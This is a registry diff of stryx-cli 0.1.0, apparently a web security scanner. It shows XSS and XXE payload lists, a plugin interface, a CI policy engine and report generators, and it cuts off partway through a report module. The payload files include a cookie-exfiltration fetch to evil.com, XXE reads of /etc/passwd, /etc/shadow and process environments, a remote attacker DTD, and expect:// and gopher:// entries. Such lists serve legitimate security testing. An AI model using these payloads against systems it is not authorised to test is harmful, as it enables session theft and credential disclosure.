stryx-cli 0.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- stryx/__init__.py +35 -0
- stryx/ai/__init__.py +5 -0
- stryx/ai/attack_planner.py +199 -0
- stryx/ai/payload_generator.py +212 -0
- stryx/ai/prompts.py +85 -0
- stryx/ai/providers.py +249 -0
- stryx/attacks/__init__.py +6 -0
- stryx/attacks/attack_chain.py +111 -0
- stryx/attacks/replay.py +186 -0
- stryx/auth/__init__.py +1 -0
- stryx/auth/session_manager.py +335 -0
- stryx/cli.py +675 -0
- stryx/comparison/__init__.py +1 -0
- stryx/comparison/differ.py +255 -0
- stryx/config/__init__.py +6 -0
- stryx/config/default_config.yaml +12 -0
- stryx/config/loader.py +111 -0
- stryx/config/schema.py +80 -0
- stryx/crawler/__init__.py +5 -0
- stryx/crawler/discovery.py +178 -0
- stryx/crawler/graphql_discovery.py +86 -0
- stryx/crawler/html_crawler.py +294 -0
- stryx/crawler/js_endpoints.py +165 -0
- stryx/crawler/openapi.py +76 -0
- stryx/crawler/sitemap.py +94 -0
- stryx/orchestrator.py +347 -0
- stryx/payloads/cmdi.txt +31 -0
- stryx/payloads/header_injection.txt +15 -0
- stryx/payloads/ldap.txt +19 -0
- stryx/payloads/nosqli.txt +21 -0
- stryx/payloads/open_redirect.txt +23 -0
- stryx/payloads/path_traversal.txt +26 -0
- stryx/payloads/sqli.txt +31 -0
- stryx/payloads/ssrf.txt +30 -0
- stryx/payloads/ssti.txt +21 -0
- stryx/payloads/xss.txt +48 -0
- stryx/payloads/xxe.txt +35 -0
- stryx/plugins/__init__.py +5 -0
- stryx/plugins/base.py +85 -0
- stryx/policy/__init__.py +1 -0
- stryx/policy/engine.py +201 -0
- stryx/py.typed +0 -0
- stryx/reports/__init__.py +5 -0
- stryx/reports/generator.py +122 -0
- stryx/reports/json_report.py +72 -0
- stryx/reports/markdown_report.py +101 -0
- stryx/reports/sarif_report.py +200 -0
- stryx/reports/templates/report.html.j2 +163 -0
- stryx/reports/terminal_report.py +138 -0
- stryx/scanners/__init__.py +17 -0
- stryx/scanners/auth.py +444 -0
- stryx/scanners/authorization.py +220 -0
- stryx/scanners/blind.py +328 -0
- stryx/scanners/cloud_ssrf.py +208 -0
- stryx/scanners/cors.py +158 -0
- stryx/scanners/dependencies.py +296 -0
- stryx/scanners/disclosure.py +339 -0
- stryx/scanners/fuzz.py +391 -0
- stryx/scanners/graphql.py +309 -0
- stryx/scanners/injection.py +511 -0
- stryx/scanners/race.py +257 -0
- stryx/signatures/framework_fingerprints.yaml +122 -0
- stryx/signatures/known_vulns.yaml +210 -0
- stryx/utils/__init__.py +7 -0
- stryx/utils/evidence.py +109 -0
- stryx/utils/http_client.py +159 -0
- stryx/utils/logging.py +51 -0
- stryx/utils/rate_limiter.py +37 -0
- stryx_cli-0.1.0.dist-info/METADATA +236 -0
- stryx_cli-0.1.0.dist-info/RECORD +74 -0
- stryx_cli-0.1.0.dist-info/WHEEL +5 -0
- stryx_cli-0.1.0.dist-info/entry_points.txt +2 -0
- stryx_cli-0.1.0.dist-info/licenses/LICENSE +190 -0
- stryx_cli-0.1.0.dist-info/top_level.txt +1 -0
stryx/payloads/xss.txt
ADDED
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
<script>alert(1)</script>
|
|
2
|
+
<script>alert('XSS')</script>
|
|
3
|
+
<script>alert(document.cookie)</script>
|
|
4
|
+
<img src=x onerror=alert(1)>
|
|
5
|
+
<svg onload=alert(1)>
|
|
6
|
+
<body onload=alert(1)>
|
|
7
|
+
<iframe src="javascript:alert(1)">
|
|
8
|
+
<input onfocus=alert(1) autofocus>
|
|
9
|
+
<marquee onstart=alert(1)>
|
|
10
|
+
<details open ontoggle=alert(1)>
|
|
11
|
+
<video src=x onerror=alert(1)>
|
|
12
|
+
<audio src=x onerror=alert(1)>
|
|
13
|
+
<object data="javascript:alert(1)">
|
|
14
|
+
<embed src="javascript:alert(1)">
|
|
15
|
+
"><script>alert(1)</script>
|
|
16
|
+
'><script>alert(1)</script>
|
|
17
|
+
"><img src=x onerror=alert(1)>
|
|
18
|
+
'><img src=x onerror=alert(1)>
|
|
19
|
+
javascript:alert(1)
|
|
20
|
+
javascript:alert(document.cookie)
|
|
21
|
+
data:text/html,<script>alert(1)</script>
|
|
22
|
+
<scr<script>ipt>alert(1)</scr</scr<script>ipt>
|
|
23
|
+
<script>eval(atob('YWxlcnQoMSk='))</script>
|
|
24
|
+
<script>fetch('https://evil.com/?c='+document.cookie)</script>
|
|
25
|
+
"><svg/onload=alert(1)>
|
|
26
|
+
"><body onload=alert(1)>
|
|
27
|
+
"><iframe src="javascript:alert(1)">
|
|
28
|
+
<div onmouseover=alert(1)>hover me</div>
|
|
29
|
+
<button onclick=alert(1)>click</button>
|
|
30
|
+
<input onmouseover=alert(1)>
|
|
31
|
+
"><input onfocus=alert(1) autofocus>
|
|
32
|
+
"><marquee onstart=alert(1)>
|
|
33
|
+
"><details open ontoggle=alert(1)>
|
|
34
|
+
"><video src=x onerror=alert(1)>
|
|
35
|
+
"><audio src=x onerror=alert(1)>
|
|
36
|
+
"><object data="javascript:alert(1)">
|
|
37
|
+
"><embed src="javascript:alert(1)">
|
|
38
|
+
"><base href="javascript://"><a href=alert(1)>click</a>
|
|
39
|
+
"><form><button formaction="javascript:alert(1)">X</button>
|
|
40
|
+
"><math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>">
|
|
41
|
+
"><style><img src=x onerror=alert(1)>
|
|
42
|
+
"><template><script>alert(1)</script></template>
|
|
43
|
+
"></script><script>alert(1)</script>
|
|
44
|
+
"><img ""><script>alert(1)</script>
|
|
45
|
+
"></><script>alert(1)</script>
|
|
46
|
+
"><a href="data:text/html,<script>alert(1)</script>">X</a>
|
|
47
|
+
"><svg><animate onbegin=alert(1) attributeName=x dur=1s>
|
|
48
|
+
"><svg><set onbegin=alert(1) attributeName=x to=1>
|
stryx/payloads/xxe.txt
ADDED
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
2
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
3
|
+
<foo>&xxe;</foo>
|
|
4
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
5
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/shadow">]>
|
|
6
|
+
<foo>&xxe;</foo>
|
|
7
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
8
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///proc/self/environ">]>
|
|
9
|
+
<foo>&xxe;</foo>
|
|
10
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
11
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///proc/self/cmdline">]>
|
|
12
|
+
<foo>&xxe;</foo>
|
|
13
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
14
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1/">]>
|
|
15
|
+
<foo>&xxe;</foo>
|
|
16
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
17
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/">]>
|
|
18
|
+
<foo>&xxe;</foo>
|
|
19
|
+
<!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
20
|
+
<foo>&xxe;</foo>
|
|
21
|
+
<!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>
|
|
22
|
+
<foo>&xxe;</foo>
|
|
23
|
+
<!DOCTYPE foo [<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">%dtd;]>
|
|
24
|
+
<foo>&send;</foo>
|
|
25
|
+
<!DOCTYPE foo [
|
|
26
|
+
<!ENTITY xxe1 SYSTEM "file:///etc/passwd">
|
|
27
|
+
<!ENTITY xxe2 SYSTEM "file:///etc/hostname">
|
|
28
|
+
]>
|
|
29
|
+
<foo>&xxe1;&xxe2;</foo>
|
|
30
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
31
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
|
|
32
|
+
<foo>&xxe;</foo>
|
|
33
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
34
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/_INFO">]>
|
|
35
|
+
<foo>&xxe;</foo>
|
stryx/plugins/base.py
ADDED
|
@@ -0,0 +1,85 @@
|
|
|
1
|
+
"""Base scanner plugin interface.
|
|
2
|
+
|
|
3
|
+
This defines the contract for custom scanner plugins (v0.5+).
|
|
4
|
+
The plugin loader will not be functional until v0.5, but the interface
|
|
5
|
+
is documented here for contributors who want to plan ahead.
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
from __future__ import annotations
|
|
9
|
+
|
|
10
|
+
from abc import ABC, abstractmethod
|
|
11
|
+
from dataclasses import dataclass, field
|
|
12
|
+
from typing import Any
|
|
13
|
+
|
|
14
|
+
from stryx.utils.evidence import Finding
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
@dataclass
|
|
18
|
+
class PluginMetadata:
|
|
19
|
+
"""Metadata for a scanner plugin."""
|
|
20
|
+
|
|
21
|
+
name: str
|
|
22
|
+
version: str = "0.1.0"
|
|
23
|
+
author: str = ""
|
|
24
|
+
description: str = ""
|
|
25
|
+
tags: list[str] = field(default_factory=list)
|
|
26
|
+
|
|
27
|
+
|
|
28
|
+
class BaseScanner(ABC):
|
|
29
|
+
"""Abstract base class for scanner plugins.
|
|
30
|
+
|
|
31
|
+
All scanner plugins must implement this interface. The plugin loader
|
|
32
|
+
(v0.5) will discover and instantiate classes that extend BaseScanner.
|
|
33
|
+
|
|
34
|
+
Required attributes:
|
|
35
|
+
metadata: PluginMetadata with name, version, description.
|
|
36
|
+
|
|
37
|
+
Required methods:
|
|
38
|
+
scan(): Run the scan and return a list of Finding objects.
|
|
39
|
+
validate_config(): Validate plugin-specific configuration.
|
|
40
|
+
"""
|
|
41
|
+
|
|
42
|
+
@property
|
|
43
|
+
@abstractmethod
|
|
44
|
+
def metadata(self) -> PluginMetadata:
|
|
45
|
+
"""Return plugin metadata."""
|
|
46
|
+
...
|
|
47
|
+
|
|
48
|
+
@abstractmethod
|
|
49
|
+
async def scan(
|
|
50
|
+
self,
|
|
51
|
+
target_url: str,
|
|
52
|
+
endpoints: list[str],
|
|
53
|
+
config: dict[str, Any],
|
|
54
|
+
) -> list[Finding]:
|
|
55
|
+
"""Run the security scan.
|
|
56
|
+
|
|
57
|
+
Args:
|
|
58
|
+
target_url: The base URL of the target application.
|
|
59
|
+
endpoints: List of discovered endpoint URLs to test.
|
|
60
|
+
config: Plugin-specific configuration dictionary.
|
|
61
|
+
|
|
62
|
+
Returns:
|
|
63
|
+
List of Finding objects with full Evidence.
|
|
64
|
+
"""
|
|
65
|
+
...
|
|
66
|
+
|
|
67
|
+
@abstractmethod
|
|
68
|
+
def validate_config(self, config: dict[str, Any]) -> bool:
|
|
69
|
+
"""Validate plugin-specific configuration.
|
|
70
|
+
|
|
71
|
+
Args:
|
|
72
|
+
config: Configuration dictionary to validate.
|
|
73
|
+
|
|
74
|
+
Returns:
|
|
75
|
+
True if configuration is valid, False otherwise.
|
|
76
|
+
"""
|
|
77
|
+
...
|
|
78
|
+
|
|
79
|
+
def get_required_dependencies(self) -> list[str]:
|
|
80
|
+
"""Return list of required Python packages for this plugin.
|
|
81
|
+
|
|
82
|
+
Override this if your plugin needs additional dependencies.
|
|
83
|
+
The plugin loader (v0.5) will check these before loading.
|
|
84
|
+
"""
|
|
85
|
+
return []
|
stryx/policy/__init__.py
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
"""Policy engine for CI/CD quality gates."""
|
stryx/policy/engine.py
ADDED
|
@@ -0,0 +1,201 @@
|
|
|
1
|
+
"""Policy engine for pass/fail evaluation of scan results.
|
|
2
|
+
|
|
3
|
+
Enables CI/CD quality gates by defining security policies
|
|
4
|
+
that scan results must satisfy.
|
|
5
|
+
"""
|
|
6
|
+
|
|
7
|
+
from __future__ import annotations
|
|
8
|
+
|
|
9
|
+
from dataclasses import dataclass, field
|
|
10
|
+
from pathlib import Path
|
|
11
|
+
from typing import Any
|
|
12
|
+
|
|
13
|
+
import yaml
|
|
14
|
+
|
|
15
|
+
from stryx.utils.evidence import Finding, Severity
|
|
16
|
+
from stryx.utils.logging import get_logger
|
|
17
|
+
|
|
18
|
+
logger = get_logger("policy.engine")
|
|
19
|
+
|
|
20
|
+
|
|
21
|
+
@dataclass
|
|
22
|
+
class PolicyViolation:
|
|
23
|
+
"""A single policy violation."""
|
|
24
|
+
|
|
25
|
+
rule: str
|
|
26
|
+
message: str
|
|
27
|
+
severity: str = "high"
|
|
28
|
+
details: str = ""
|
|
29
|
+
|
|
30
|
+
|
|
31
|
+
@dataclass
|
|
32
|
+
class PolicyResult:
|
|
33
|
+
"""Result of policy evaluation."""
|
|
34
|
+
|
|
35
|
+
passed: bool
|
|
36
|
+
violations: list[PolicyViolation] = field(default_factory=list)
|
|
37
|
+
summary: str = ""
|
|
38
|
+
|
|
39
|
+
def __str__(self) -> str:
|
|
40
|
+
if self.passed:
|
|
41
|
+
return f"✅ Policy PASSED: {self.summary}"
|
|
42
|
+
lines = [f"❌ Policy FAILED: {self.summary}"]
|
|
43
|
+
for v in self.violations:
|
|
44
|
+
lines.append(f" - [{v.severity.upper()}] {v.rule}: {v.message}")
|
|
45
|
+
return "\n".join(lines)
|
|
46
|
+
|
|
47
|
+
|
|
48
|
+
class PolicyEngine:
|
|
49
|
+
"""Evaluates scan findings against a security policy.
|
|
50
|
+
|
|
51
|
+
Policy YAML format:
|
|
52
|
+
policy:
|
|
53
|
+
max_critical: 0
|
|
54
|
+
max_high: 3
|
|
55
|
+
max_medium: 10
|
|
56
|
+
max_low: 50
|
|
57
|
+
max_findings: 100
|
|
58
|
+
required_headers:
|
|
59
|
+
- X-Content-Type-Options
|
|
60
|
+
- X-Frame-Options
|
|
61
|
+
blocked_cwe:
|
|
62
|
+
- CWE-89
|
|
63
|
+
- CWE-79
|
|
64
|
+
blocked_scanners:
|
|
65
|
+
- cloud-ssrf
|
|
66
|
+
min_confidence: 0.5
|
|
67
|
+
"""
|
|
68
|
+
|
|
69
|
+
def __init__(self, policy_config: dict[str, Any] | None = None):
|
|
70
|
+
self.config = policy_config or {}
|
|
71
|
+
|
|
72
|
+
@classmethod
|
|
73
|
+
def from_file(cls, path: str) -> PolicyEngine:
|
|
74
|
+
"""Load policy from a YAML file."""
|
|
75
|
+
try:
|
|
76
|
+
with open(path, encoding="utf-8") as f:
|
|
77
|
+
data = yaml.safe_load(f)
|
|
78
|
+
config = data.get("policy", data) if isinstance(data, dict) else {}
|
|
79
|
+
return cls(config)
|
|
80
|
+
except Exception as e:
|
|
81
|
+
logger.error(f"Failed to load policy from {path}: {e}")
|
|
82
|
+
return cls({})
|
|
83
|
+
|
|
84
|
+
def evaluate(self, findings: list[Finding]) -> PolicyResult:
|
|
85
|
+
"""Evaluate findings against the policy."""
|
|
86
|
+
violations: list[PolicyViolation] = []
|
|
87
|
+
|
|
88
|
+
# Count by severity
|
|
89
|
+
severity_counts: dict[str, int] = {}
|
|
90
|
+
for f in findings:
|
|
91
|
+
sev = f.severity.value
|
|
92
|
+
severity_counts[sev] = severity_counts.get(sev, 0) + 1
|
|
93
|
+
|
|
94
|
+
# Check max severity counts
|
|
95
|
+
max_critical = self.config.get("max_critical")
|
|
96
|
+
if max_critical is not None and severity_counts.get("critical", 0) > max_critical:
|
|
97
|
+
violations.append(PolicyViolation(
|
|
98
|
+
rule="max_critical",
|
|
99
|
+
message=f"Found {severity_counts['critical']} critical findings (max: {max_critical})",
|
|
100
|
+
severity="critical",
|
|
101
|
+
))
|
|
102
|
+
|
|
103
|
+
max_high = self.config.get("max_high")
|
|
104
|
+
if max_high is not None and severity_counts.get("high", 0) > max_high:
|
|
105
|
+
violations.append(PolicyViolation(
|
|
106
|
+
rule="max_high",
|
|
107
|
+
message=f"Found {severity_counts['high']} high findings (max: {max_high})",
|
|
108
|
+
severity="high",
|
|
109
|
+
))
|
|
110
|
+
|
|
111
|
+
max_medium = self.config.get("max_medium")
|
|
112
|
+
if max_medium is not None and severity_counts.get("medium", 0) > max_medium:
|
|
113
|
+
violations.append(PolicyViolation(
|
|
114
|
+
rule="max_medium",
|
|
115
|
+
message=f"Found {severity_counts['medium']} medium findings (max: {max_medium})",
|
|
116
|
+
severity="medium",
|
|
117
|
+
))
|
|
118
|
+
|
|
119
|
+
max_low = self.config.get("max_low")
|
|
120
|
+
if max_low is not None and severity_counts.get("low", 0) > max_low:
|
|
121
|
+
violations.append(PolicyViolation(
|
|
122
|
+
rule="max_low",
|
|
123
|
+
message=f"Found {severity_counts['low']} low findings (max: {max_low})",
|
|
124
|
+
severity="low",
|
|
125
|
+
))
|
|
126
|
+
|
|
127
|
+
max_findings = self.config.get("max_findings")
|
|
128
|
+
if max_findings is not None and len(findings) > max_findings:
|
|
129
|
+
violations.append(PolicyViolation(
|
|
130
|
+
rule="max_findings",
|
|
131
|
+
message=f"Found {len(findings)} total findings (max: {max_findings})",
|
|
132
|
+
severity="high",
|
|
133
|
+
))
|
|
134
|
+
|
|
135
|
+
# Check blocked CWEs
|
|
136
|
+
blocked_cwe = set(self.config.get("blocked_cwe", []))
|
|
137
|
+
if blocked_cwe:
|
|
138
|
+
for f in findings:
|
|
139
|
+
if f.cwe in blocked_cwe:
|
|
140
|
+
violations.append(PolicyViolation(
|
|
141
|
+
rule="blocked_cwe",
|
|
142
|
+
message=f"Blocked CWE found: {f.cwe} at {f.endpoint}",
|
|
143
|
+
severity=f.severity.value,
|
|
144
|
+
details=f.title,
|
|
145
|
+
))
|
|
146
|
+
|
|
147
|
+
# Check blocked scanners
|
|
148
|
+
blocked_scanners = set(self.config.get("blocked_scanners", []))
|
|
149
|
+
if blocked_scanners:
|
|
150
|
+
for f in findings:
|
|
151
|
+
if f.scanner in blocked_scanners:
|
|
152
|
+
violations.append(PolicyViolation(
|
|
153
|
+
rule="blocked_scanners",
|
|
154
|
+
message=f"Finding from blocked scanner '{f.scanner}': {f.title}",
|
|
155
|
+
severity=f.severity.value,
|
|
156
|
+
details=f.endpoint,
|
|
157
|
+
))
|
|
158
|
+
|
|
159
|
+
# Check minimum confidence
|
|
160
|
+
min_confidence = self.config.get("min_confidence")
|
|
161
|
+
if min_confidence is not None:
|
|
162
|
+
low_conf_count = sum(
|
|
163
|
+
1 for f in findings if f.evidence.confidence < min_confidence
|
|
164
|
+
)
|
|
165
|
+
if low_conf_count > 0:
|
|
166
|
+
violations.append(PolicyViolation(
|
|
167
|
+
rule="min_confidence",
|
|
168
|
+
message=f"{low_conf_count} findings below confidence threshold {min_confidence}",
|
|
169
|
+
severity="info",
|
|
170
|
+
))
|
|
171
|
+
|
|
172
|
+
# Build summary
|
|
173
|
+
total = len(findings)
|
|
174
|
+
passed = len(violations) == 0
|
|
175
|
+
if passed:
|
|
176
|
+
summary = f"{total} findings, all within policy limits"
|
|
177
|
+
else:
|
|
178
|
+
summary = f"{total} findings, {len(violations)} policy violation(s)"
|
|
179
|
+
|
|
180
|
+
return PolicyResult(
|
|
181
|
+
passed=passed,
|
|
182
|
+
violations=violations,
|
|
183
|
+
summary=summary,
|
|
184
|
+
)
|
|
185
|
+
|
|
186
|
+
|
|
187
|
+
# Default policy (permissive)
|
|
188
|
+
DEFAULT_POLICY = {
|
|
189
|
+
"max_critical": 0,
|
|
190
|
+
"max_high": 10,
|
|
191
|
+
"max_medium": 50,
|
|
192
|
+
"max_low": 200,
|
|
193
|
+
"max_findings": 500,
|
|
194
|
+
}
|
|
195
|
+
|
|
196
|
+
|
|
197
|
+
def save_default_policy(path: str) -> None:
|
|
198
|
+
"""Save the default policy to a YAML file."""
|
|
199
|
+
with open(path, "w", encoding="utf-8") as f:
|
|
200
|
+
yaml.dump({"policy": DEFAULT_POLICY}, f, default_flow_style=False, sort_keys=False)
|
|
201
|
+
logger.info(f"Default policy saved to {path}")
|
stryx/py.typed
ADDED
|
File without changes
|
|
@@ -0,0 +1,122 @@
|
|
|
1
|
+
"""Report generator -- orchestrates all report format outputs."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
from stryx.attacks.attack_chain import AttackChain
|
|
6
|
+
from stryx.reports.json_report import JsonReport
|
|
7
|
+
from stryx.reports.markdown_report import MarkdownReport
|
|
8
|
+
from stryx.reports.terminal_report import TerminalReport
|
|
9
|
+
from stryx.utils.evidence import Finding
|
|
10
|
+
from stryx.utils.logging import get_logger
|
|
11
|
+
|
|
12
|
+
logger = get_logger("reports.generator")
|
|
13
|
+
|
|
14
|
+
|
|
15
|
+
class ReportGenerator:
|
|
16
|
+
"""Generates security reports in multiple formats."""
|
|
17
|
+
|
|
18
|
+
def __init__(
|
|
19
|
+
self,
|
|
20
|
+
target_url: str,
|
|
21
|
+
findings: list[Finding],
|
|
22
|
+
attack_chains: list[AttackChain] | None = None,
|
|
23
|
+
):
|
|
24
|
+
self.target_url = target_url
|
|
25
|
+
self.findings = findings
|
|
26
|
+
self.attack_chains = attack_chains or []
|
|
27
|
+
|
|
28
|
+
def generate_terminal(self) -> None:
|
|
29
|
+
"""Display results in terminal."""
|
|
30
|
+
report = TerminalReport(
|
|
31
|
+
self.target_url, self.findings, self.attack_chains
|
|
32
|
+
)
|
|
33
|
+
report.display()
|
|
34
|
+
|
|
35
|
+
def generate_json(self, path: str) -> str:
|
|
36
|
+
"""Generate JSON report."""
|
|
37
|
+
report = JsonReport(
|
|
38
|
+
self.target_url, self.findings, self.attack_chains
|
|
39
|
+
)
|
|
40
|
+
report.save(path)
|
|
41
|
+
return path
|
|
42
|
+
|
|
43
|
+
def generate_markdown(self, path: str) -> str:
|
|
44
|
+
"""Generate Markdown report."""
|
|
45
|
+
report = MarkdownReport(
|
|
46
|
+
self.target_url, self.findings, self.attack_chains
|
|
47
|
+
)
|
|
48
|
+
report.save(path)
|
|
49
|
+
return path
|
|
50
|
+
|
|
51
|
+
def generate_html(self, path: str) -> str:
|
|
52
|
+
"""Generate HTML report using Jinja2."""
|
|
53
|
+
try:
|
|
54
|
+
import os
|
|
55
|
+
|
|
56
|
+
from jinja2 import Environment, FileSystemLoader
|
|
57
|
+
|
|
58
|
+
template_dir = os.path.join(os.path.dirname(__file__), "templates")
|
|
59
|
+
env = Environment(loader=FileSystemLoader(template_dir))
|
|
60
|
+
template = env.get_template("report.html.j2")
|
|
61
|
+
|
|
62
|
+
# Count severities
|
|
63
|
+
severity_counts = {}
|
|
64
|
+
for f in self.findings:
|
|
65
|
+
sev = f.severity.value
|
|
66
|
+
severity_counts[sev] = severity_counts.get(sev, 0) + 1
|
|
67
|
+
|
|
68
|
+
# Prepare finding data for template
|
|
69
|
+
findings_data = []
|
|
70
|
+
for f in self.findings:
|
|
71
|
+
findings_data.append({
|
|
72
|
+
"title": f.title,
|
|
73
|
+
"severity": f.severity.value,
|
|
74
|
+
"endpoint": f.endpoint,
|
|
75
|
+
"description": f.description,
|
|
76
|
+
"remediation": f.remediation,
|
|
77
|
+
"cwe": f.cwe,
|
|
78
|
+
"owasp": f.owasp,
|
|
79
|
+
"evidence": f.evidence,
|
|
80
|
+
})
|
|
81
|
+
|
|
82
|
+
# Prepare chain data
|
|
83
|
+
chains_data = []
|
|
84
|
+
for c in self.attack_chains:
|
|
85
|
+
chains_data.append({
|
|
86
|
+
"name": c.name,
|
|
87
|
+
"total_impact": c.total_impact,
|
|
88
|
+
"estimated_severity": c.estimated_severity,
|
|
89
|
+
"steps": [
|
|
90
|
+
{
|
|
91
|
+
"title": step.finding.title,
|
|
92
|
+
"description": step.description,
|
|
93
|
+
}
|
|
94
|
+
for step in c.steps
|
|
95
|
+
],
|
|
96
|
+
})
|
|
97
|
+
|
|
98
|
+
html = template.render(
|
|
99
|
+
target=self.target_url,
|
|
100
|
+
generated_at=__import__("datetime").datetime.now(
|
|
101
|
+
__import__("datetime").timezone.utc
|
|
102
|
+
).isoformat(),
|
|
103
|
+
total_findings=len(self.findings),
|
|
104
|
+
critical_count=severity_counts.get("critical", 0),
|
|
105
|
+
high_count=severity_counts.get("high", 0),
|
|
106
|
+
medium_count=severity_counts.get("medium", 0),
|
|
107
|
+
low_count=severity_counts.get("low", 0),
|
|
108
|
+
findings=findings_data,
|
|
109
|
+
attack_chains=chains_data,
|
|
110
|
+
)
|
|
111
|
+
|
|
112
|
+
with open(path, "w", encoding="utf-8") as f:
|
|
113
|
+
f.write(html)
|
|
114
|
+
logger.info(f"HTML report saved to {path}")
|
|
115
|
+
return path
|
|
116
|
+
|
|
117
|
+
except ImportError:
|
|
118
|
+
logger.warning("Jinja2 not available, HTML report not generated")
|
|
119
|
+
return ""
|
|
120
|
+
except Exception as e:
|
|
121
|
+
logger.error(f"Failed to generate HTML report: {e}")
|
|
122
|
+
return ""
|
|
@@ -0,0 +1,72 @@
|
|
|
1
|
+
"""JSON report generator -- MEDUSA integration contract."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import json
|
|
6
|
+
from datetime import UTC, datetime
|
|
7
|
+
from typing import Any
|
|
8
|
+
|
|
9
|
+
from stryx.attacks.attack_chain import AttackChain
|
|
10
|
+
from stryx.utils.evidence import Finding
|
|
11
|
+
from stryx.utils.logging import get_logger
|
|
12
|
+
|
|
13
|
+
logger = get_logger("reports.json")
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
class JsonReport:
|
|
17
|
+
"""Generates machine-readable JSON reports for MEDUSA ingestion.
|
|
18
|
+
|
|
19
|
+
This is the stable integration contract -- MEDUSA parses this output.
|
|
20
|
+
Schema is documented in docs/DOCS.md.
|
|
21
|
+
"""
|
|
22
|
+
|
|
23
|
+
def __init__(
|
|
24
|
+
self,
|
|
25
|
+
target_url: str,
|
|
26
|
+
findings: list[Finding],
|
|
27
|
+
attack_chains: list[AttackChain] | None = None,
|
|
28
|
+
):
|
|
29
|
+
self.target_url = target_url
|
|
30
|
+
self.findings = findings
|
|
31
|
+
self.attack_chains = attack_chains or []
|
|
32
|
+
|
|
33
|
+
def generate(self) -> dict[str, Any]:
|
|
34
|
+
"""Generate the JSON report."""
|
|
35
|
+
severity_counts = {}
|
|
36
|
+
for f in self.findings:
|
|
37
|
+
sev = f.severity.value
|
|
38
|
+
severity_counts[sev] = severity_counts.get(sev, 0) + 1
|
|
39
|
+
|
|
40
|
+
return {
|
|
41
|
+
"report": {
|
|
42
|
+
"tool": "stryx",
|
|
43
|
+
"version": "0.1.0",
|
|
44
|
+
"generated_at": datetime.now(UTC).isoformat(),
|
|
45
|
+
"target": self.target_url,
|
|
46
|
+
},
|
|
47
|
+
"summary": {
|
|
48
|
+
"total_findings": len(self.findings),
|
|
49
|
+
"by_severity": severity_counts,
|
|
50
|
+
"critical": severity_counts.get("critical", 0),
|
|
51
|
+
"high": severity_counts.get("high", 0),
|
|
52
|
+
"medium": severity_counts.get("medium", 0),
|
|
53
|
+
"low": severity_counts.get("low", 0),
|
|
54
|
+
"info": severity_counts.get("info", 0),
|
|
55
|
+
},
|
|
56
|
+
"findings": [f.to_dict() for f in self.findings],
|
|
57
|
+
"attack_chains": [c.to_dict() for c in self.attack_chains],
|
|
58
|
+
"metadata": {
|
|
59
|
+
"scanners_used": list(set(f.scanner for f in self.findings)),
|
|
60
|
+
"total_endpoints_tested": len(set(f.endpoint for f in self.findings)),
|
|
61
|
+
},
|
|
62
|
+
}
|
|
63
|
+
|
|
64
|
+
def to_json(self, indent: int = 2) -> str:
|
|
65
|
+
"""Generate JSON string."""
|
|
66
|
+
return json.dumps(self.generate(), indent=indent, default=str)
|
|
67
|
+
|
|
68
|
+
def save(self, path: str) -> None:
|
|
69
|
+
"""Save report to file."""
|
|
70
|
+
with open(path, "w", encoding="utf-8") as f:
|
|
71
|
+
f.write(self.to_json())
|
|
72
|
+
logger.info(f"JSON report saved to {path}")
|
|
@@ -0,0 +1,101 @@
|
|
|
1
|
+
"""Markdown report generator."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
from stryx.attacks.attack_chain import AttackChain
|
|
6
|
+
from stryx.utils.evidence import Finding
|
|
7
|
+
from stryx.utils.logging import get_logger
|
|
8
|
+
|
|
9
|
+
logger = get_logger("reports.markdown")
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
class MarkdownReport:
|
|
13
|
+
"""Generates Markdown reports for PR comments and CI logs."""
|
|
14
|
+
|
|
15
|
+
def __init__(
|
|
16
|
+
self,
|
|
17
|
+
target_url: str,
|
|
18
|
+
findings: list[Finding],
|
|
19
|
+
attack_chains: list[AttackChain] | None = None,
|
|
20
|
+
):
|
|
21
|
+
self.target_url = target_url
|
|
22
|
+
self.findings = findings
|
|
23
|
+
self.attack_chains = attack_chains or []
|
|
24
|
+
|
|
25
|
+
def generate(self) -> str:
|
|
26
|
+
"""Generate the Markdown report."""
|
|
27
|
+
lines = [
|
|
28
|
+
"# STRYX Security Scan Report",
|
|
29
|
+
"",
|
|
30
|
+
f"**Target:** {self.target_url}",
|
|
31
|
+
f"**Findings:** {len(self.findings)}",
|
|
32
|
+
"",
|
|
33
|
+
]
|
|
34
|
+
|
|
35
|
+
# Summary
|
|
36
